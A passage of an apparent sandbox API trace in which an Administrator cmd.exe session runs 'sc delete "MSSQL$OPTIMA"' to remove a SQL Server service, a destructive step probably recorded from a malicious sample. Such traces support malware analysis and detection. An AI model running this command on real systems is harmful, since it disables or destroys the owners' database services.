Size=0xb0) returned 0x264660 [0077.165] GetProcessHeap () returned 0x240000 [0077.165] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0077.165] GetProcessHeap () returned 0x240000 [0077.165] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3e) returned 0x25aa40 [0077.165] GetConsoleOutputCP () returned 0x1b5 [0077.165] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.165] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.165] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.166] GetProcessHeap () returned 0x240000 [0077.166] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0077.166] GetProcessHeap () returned 0x240000 [0077.166] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x44) returned 0x25aa90 [0077.166] GetProcessHeap () returned 0x240000 [0077.166] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0077.166] SetErrorMode (uMode=0x0) returned 0x1 [0077.166] SetErrorMode (uMode=0x1) returned 0x0 [0077.166] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0077.166] SetErrorMode (uMode=0x1) returned 0x1 [0077.166] GetProcessHeap () returned 0x240000 [0077.166] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x62) returned 0x25c5b0 [0077.166] GetProcessHeap () returned 0x240000 [0077.166] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x62 [0077.166] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0077.166] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0077.166] GetProcessHeap () returned 0x240000 [0077.166] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0077.166] GetProcessHeap () returned 0x240000 [0077.166] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0077.167] GetProcessHeap () returned 0x240000 [0077.167] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0077.167] GetProcessHeap () returned 0x240000 [0077.167] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0077.167] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0077.167] GetProcessHeap () returned 0x240000 [0077.167] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0077.167] GetProcessHeap () returned 0x240000 [0077.167] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0077.167] GetProcessHeap () returned 0x240000 [0077.167] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0077.167] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.167] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.167] GetLastError () returned 0x2 [0077.167] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.168] GetLastError () returned 0x2 [0077.168] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.168] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0077.168] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0077.168] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.168] GetLastError () returned 0x2 [0077.168] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0077.168] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0077.169] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0077.169] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0077.169] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.169] GetProcessHeap () returned 0x240000 [0077.169] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0077.169] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.169] GetProcessHeap () returned 0x240000 [0077.169] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xaa) returned 0x259180 [0077.169] GetProcessHeap () returned 0x240000 [0077.169] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xaa [0077.169] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"MSSQL$OPTIMA\"") returned 1 [0077.170] GetProcessHeap () returned 0x240000 [0077.170] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0077.170] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0077.170] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0077.170] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0077.170] GetProcessHeap () returned 0x240000 [0077.170] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0077.170] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0077.170] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0077.170] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0077.170] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0077.170] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.170] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.170] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0077.171] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0077.172] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0077.172] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0077.172] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0077.172] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0077.172] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.172] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.172] GetProcessHeap () returned 0x240000 [0077.172] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0077.172] GetProcessHeap () returned 0x240000 [0077.172] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0077.172] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"MSSQL$OPTIMA\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"MSSQL$OPTIMA\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete \"MSSQL$OPTIMA\"", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0x408, dwThreadId=0x780)) returned 1 [0077.176] CloseHandle (hObject=0x54) returned 1 [0077.176] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0077.176] GetProcessHeap () returned 0x240000 [0077.176] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0077.176] GetEnvironmentStringsW () returned 0x261b10* [0077.176] GetProcessHeap () returned 0x240000 [0077.176] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0077.176] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.176] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0077.177] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd9000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0077.177] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0077.232] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0077.232] CloseHandle (hObject=0x50) returned 1 [0077.232] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0077.232] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0077.232] GetProcessHeap () returned 0x240000 [0077.232] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0077.232] GetEnvironmentStringsW () returned 0x261b10* [0077.232] GetProcessHeap () returned 0x240000 [0077.232] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0077.232] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.232] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0077.232] GetProcessHeap () returned 0x240000 [0077.232] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0077.232] GetEnvironmentStringsW () returned 0x261b10* [0077.233] GetProcessHeap () returned 0x240000 [0077.233] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0077.233] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.233] GetProcessHeap () returned 0x240000 [0077.233] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0077.233] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0077.233] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0077.233] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.233] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0077.234] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.234] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0077.234] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.234] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0077.234] GetConsoleOutputCP () returned 0x1b5 [0077.234] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.234] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.234] GetProcessHeap () returned 0x240000 [0077.235] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0077.235] GetProcessHeap () returned 0x240000 [0077.235] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0077.235] GetProcessHeap () returned 0x240000 [0077.235] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0077.235] GetProcessHeap () returned 0x240000 [0077.235] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0077.235] GetProcessHeap () returned 0x240000 [0077.235] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa90 | out: hHeap=0x240000) returned 1 [0077.235] GetProcessHeap () returned 0x240000 [0077.235] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0077.235] GetProcessHeap () returned 0x240000 [0077.235] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0077.235] GetProcessHeap () returned 0x240000 [0077.235] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0077.235] GetProcessHeap () returned 0x240000 [0077.235] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0077.235] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0077.235] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.235] GetFileType (hFile=0x120) returned 0x3 [0077.235] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0077.235] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0077.235] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0077.236] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0077.236] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0077.236] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0077.236] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.236] GetFileType (hFile=0x120) returned 0x3 [0077.236] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0077.236] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0077.236] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.236] GetFileType (hFile=0xb8) returned 0x3 [0077.236] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.236] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.236] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.236] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0077.236] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.236] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.236] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.237] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0077.237] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.237] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.237] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.237] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0077.237] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.237] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.237] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.237] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0077.237] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.237] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.237] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.237] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0077.237] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.237] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.237] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.237] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0077.237] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.237] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.237] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.238] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0077.238] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.238] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.238] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.238] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0077.238] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.238] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.238] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.238] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0077.238] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.238] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.238] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.238] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: 